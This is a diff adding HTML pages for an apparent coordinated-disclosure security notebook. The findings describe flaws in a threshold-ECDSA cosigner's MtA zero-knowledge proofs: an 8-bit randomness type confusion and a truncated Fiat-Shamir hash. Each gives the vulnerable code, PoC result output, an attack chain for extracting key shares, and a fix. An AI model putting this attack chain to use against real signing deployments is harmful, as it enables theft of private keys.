| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/03-mta-batch-verification-8bit-randomness-P2/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Finding 03: MTA Batch Ring Pedersen Verification Uses 8-bit Randomness | Zion Boggan"> | |
| + | <meta property="og:description" content="MtA batch verification uses 8 bits of randomness, allowing forged batches with non-negligible probability."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/03-mta-batch-verification-8bit-randomness-P2/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Finding 03: MTA Batch Ring Pedersen Verification Uses 8-bit Randomness | Zion Boggan"> | |
| + | <meta name="twitter:description" content="MtA batch verification uses 8 bits of randomness, allowing forged batches with non-negligible probability."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Finding 03: MTA Batch Ring Pedersen Verification Uses 8-bit Randomness","description":"MtA batch verification uses 8 bits of randomness, allowing forged batches with non-negligible probability.","url":"https://zionboggan.com/security-research-notebook/03-mta-batch-verification-8bit-randomness-P2/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Crypto soundness</div> | |
| + | <h1>Finding 03: MTA Batch Ring Pedersen Verification Uses 8-bit Randomness</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Severity: P1/P2, ZKP batch bypass enabling private key share extraction</h2> | |
| + | <h2>CMP Security Proof Citation</h2> | |
| + | <p>Per Canetti, Gennaro, Goldfeder, Makriyannis, Peled, “UC Non-Interactive, Proactive, Threshold ECDSA with Identifiable Aborts” (CCS 2021), Section 4.3, Theorem 4.1: the protocol’s simulation-based security REQUIRES that MTA range proofs provide soundness. Specifically, the UC security reduction assumes the adversary cannot submit values outside <code>[-2^(l+eps), 2^(l+eps)]</code> without being detected. The range proof soundness is the mechanism that enforces this bound.</p> | |
| + | <p>CMP-2020 (ePrint 2020/492), Lemma 3: MTA security relies on the range proof preventing out-of-range values. If the range proof is bypassed, the adversary learns <code>gamma * x_B + beta</code> where <code>x_B</code> is the honest party’s key share and <code>gamma</code> is unbounded (attacker-controlled), directly leaking <code>x_B</code>.</p> | |
| + | <p>This finding removes the range proof guarantee with practical probability (1/256), breaking the security assumption that the entire protocol relies on.</p> | |
| + | <h2>Summary</h2> | |
| + | <p>Type confusion: <code>uint8_t gamma[16]</code> instead of <code>uint64_t gamma[2]</code>. The <code>& 0xffffffffff</code> mask is a no-op on <code>uint8_t</code>. When <code>gamma[0] = 0</code> (P=1/256), an invalid proof contributes E^0<em>S^0=1 and 0</em>(anything)=0 to the batch equation, completely invisible regardless of validity.</p> | |
| + | <h2>Location</h2> | |
| + | <ul> | |
| + | <li><strong>File:</strong> <code>src/common/cosigner/mta.cpp</code>, lines 1099-1112</li> | |
| + | <li><strong>Function:</strong> <code>batch_response_verifier::process_ring_pedersen()</code></li> | |
| + | <li><strong>Constants:</strong> <code>BATCH_STATISTICAL_SECURITY=5</code>, <code>MIN_BATCH_SIZE=6</code></li> | |
| + | </ul> | |
| + | <h2>Vulnerable Code</h2> | |
| + | <pre><code class="language-cpp">uint8_t gamma[2 * sizeof(uint64_t)]; // BUG: uint8_t[16] not uint64_t[2] | |
| + | RAND_bytes(gamma, 2 * sizeof(uint64_t)); | |
| + | gamma[0] &= 0xffffffffff; // 40bits - NO-OP on uint8_t! | |
| + | gamma[1] &= 0xffffffffff; // 40bits - NO-OP on uint8_t! | |
| + | // Later: | |
| + | BN_mul_word(tmp1, gamma[0]); // gamma[0] is uint8_t → 0-255 only | |
| + | </code></pre> | |
| + | <h2>PoC Results (Verified, Forgery Proven)</h2> | |
| + | <pre><code>All valid proofs: 200/200 pass ✓ | |
| + | 5 valid + 1 INVALID, gamma=0 forced: 200/200 pass (ANY invalid proof invisible!) | |
| + | 5 valid + 1 INVALID, random 8-bit gamma: 7/2000 = 0.35% (≈1/256) | |
| + | 5 valid + 1 INVALID, gamma∈[1,255]: 0/2000 (never passes) | |
| + | </code></pre> | |
| + | <h2>Attack Chain</h2> | |
| + | <ol> | |
| + | <li>Malicious cosigner crafts MTA range proof with out-of-range value</li> | |
| + | <li>Honest verifier’s <code>batch_response_verifier</code> uses <code>_my_ring_pedersen</code></li> | |
| + | <li><code>gamma[0]</code> = 0 with P=1/256 → invalid proof invisible</li> | |
| + | <li>Out-of-range MTA accepted → honest party’s key share leaks</li> | |
| + | <li>~256 signing sessions to extract key share</li> | |
| + | </ol> | |
| + | <h2>Remediation</h2> | |
| + | <pre><code class="language-cpp">uint64_t gamma[2]; | |
| + | RAND_bytes((uint8_t*)gamma, sizeof(gamma)); | |
| + | gamma[0] &= 0xffffffffffULL; | |
| + | gamma[1] &= 0xffffffffffULL; | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/fireblocks/03-mta-batch-verification-8bit-randomness-P2.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,230 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Finding 04: Fiat-Shamir Challenge Truncates proof.A in MTA Range ZKP | Zion Boggan</title> | |
| + | <meta name="description" content="Fiat-Shamir transcript truncation in MtA."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/04-fiat-shamir-truncation-mta-P3/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Finding 04: Fiat-Shamir Challenge Truncates proof.A in MTA Range ZKP | Zion Boggan"> | |
| + | <meta property="og:description" content="Fiat-Shamir transcript truncation in MtA."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/04-fiat-shamir-truncation-mta-P3/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Finding 04: Fiat-Shamir Challenge Truncates proof.A in MTA Range ZKP | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Fiat-Shamir transcript truncation in MtA."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Finding 04: Fiat-Shamir Challenge Truncates proof.A in MTA Range ZKP","description":"Fiat-Shamir transcript truncation in MtA.","url":"https://zionboggan.com/security-research-notebook/04-fiat-shamir-truncation-mta-P3/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Crypto soundness</div> | |
| + | <h1>Finding 04: Fiat-Shamir Challenge Truncates proof.A in MTA Range ZKP</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Severity: P3 (Medium), Weakened ZKP soundness</h2> | |
| + | <h2>Summary</h2> | |
| + | <p><code>genarate_mta_range_zkp_seed()</code> hashes only <code>BN_num_bytes(proof.S)</code> bytes of <code>proof.A</code> instead of all <code>BN_num_bytes(proof.A)</code> bytes. For 2048-bit Paillier, only 256 of 512 bytes are included in the Fiat-Shamir challenge. The upper 256 bytes of A are completely unbound, modifying them does not change the challenge hash.</p> | |
| + | <h2>Location</h2> | |
| + | <ul> | |
| + | <li><strong>File:</strong> <code>src/common/cosigner/mta.cpp</code>, lines 102-104</li> | |
| + | </ul> | |
| + | <pre><code class="language-cpp">std::vector<uint8_t> n(BN_num_bytes(proof.A)); // 512 bytes | |
| + | BN_bn2bin(proof.A, n.data()); // A serialized | |
| + | SHA256_Update(&ctx, n.data(), BN_num_bytes(proof.S)); // BUG: only 256 bytes hashed | |
| + | </code></pre> | |
| + | <h2>PoC Verified</h2> | |
| + | <pre><code>Modified A[256:512]: db2d3473e6004c65... (all bits flipped) | |
| + | Vulnerable hash(original): 0dd45a1b19a84102... | |
| + | Vulnerable hash(modified): 0dd45a1b19a84102... | |
| + | Same challenge: YES ← UPPER HALF OF A IS UNBOUND! | |
| + | </code></pre> | |
| + | <h2>Remediation</h2> | |
| + | <pre><code class="language-cpp">SHA256_Update(&ctx, n.data(), BN_num_bytes(proof.A)); | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/fireblocks/04-fiat-shamir-truncation-mta-P3.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,227 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Finding 05: Integer Overflow in Quadratic ZKP Deserialization | Zion Boggan</title> | |
| + | <meta name="description" content="Integer overflow during quadratic-residue ZKP deserialization."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
